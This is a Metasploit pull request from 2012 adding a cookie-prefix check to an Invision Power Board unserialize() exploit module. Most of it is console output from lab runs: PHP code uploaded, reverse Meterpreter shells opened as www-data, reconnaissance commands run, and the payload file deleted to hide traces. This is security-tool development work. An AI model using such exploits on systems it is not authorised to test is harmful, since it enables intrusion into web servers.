rapid7/metasploit-framework — pull request #1065 by jvazquez-r7 (2012-11-14 15:24:00+00:00)
Title: added cookie prefix check

Thanks to EgiX for pointing this!

The module can fails if Invision Pboard has been configured with a cookie prefix. Fixed in thispull request.

* Module working when ipboard hasn't configured a cookie prefix

msf exploit(invision_pboard_unserialize_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.151:80 - Checking for cookie prefix
[*] 192.168.1.151:80 - Exploiting the unserialize() to upload PHP code
[*] 192.168.1.151:80 - Executing the payload bvnpy.php
[*] Sending stage (39217 bytes) to 192.168.1.151
[*] Meterpreter session 7 opened (192.168.1.129:4444 -> 192.168.1.151:44918) at 2012-11-14 16:16:58 +0100
[!] 192.168.1.151:80 - Deleting bvnpy.php
[+] 192.168.1.151:80 - bvnpy.php removed to stay ninja

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit

* Module working when ipboard has configured a cookie prefix

msf exploit(invision_pboard_unserialize_exec) > exploit

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.151:80 - Checking for cookie prefix
[*] 192.168.1.151:80 - Cookie prefix msf found
[*] 192.168.1.151:80 - Exploiting the unserialize() to upload PHP code
[*] 192.168.1.151:80 - Executing the payload evTn.php
[*] Sending stage (39217 bytes) to 192.168.1.151
[*] Meterpreter session 8 opened (192.168.1.129:4444 -> 192.168.1.151:44942) at 2012-11-14 16:18:58 +0100
[!] 192.168.1.151:80 - Deleting evTn.php
[+] 192.168.1.151:80 - evTn.php removed to stay ninja

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...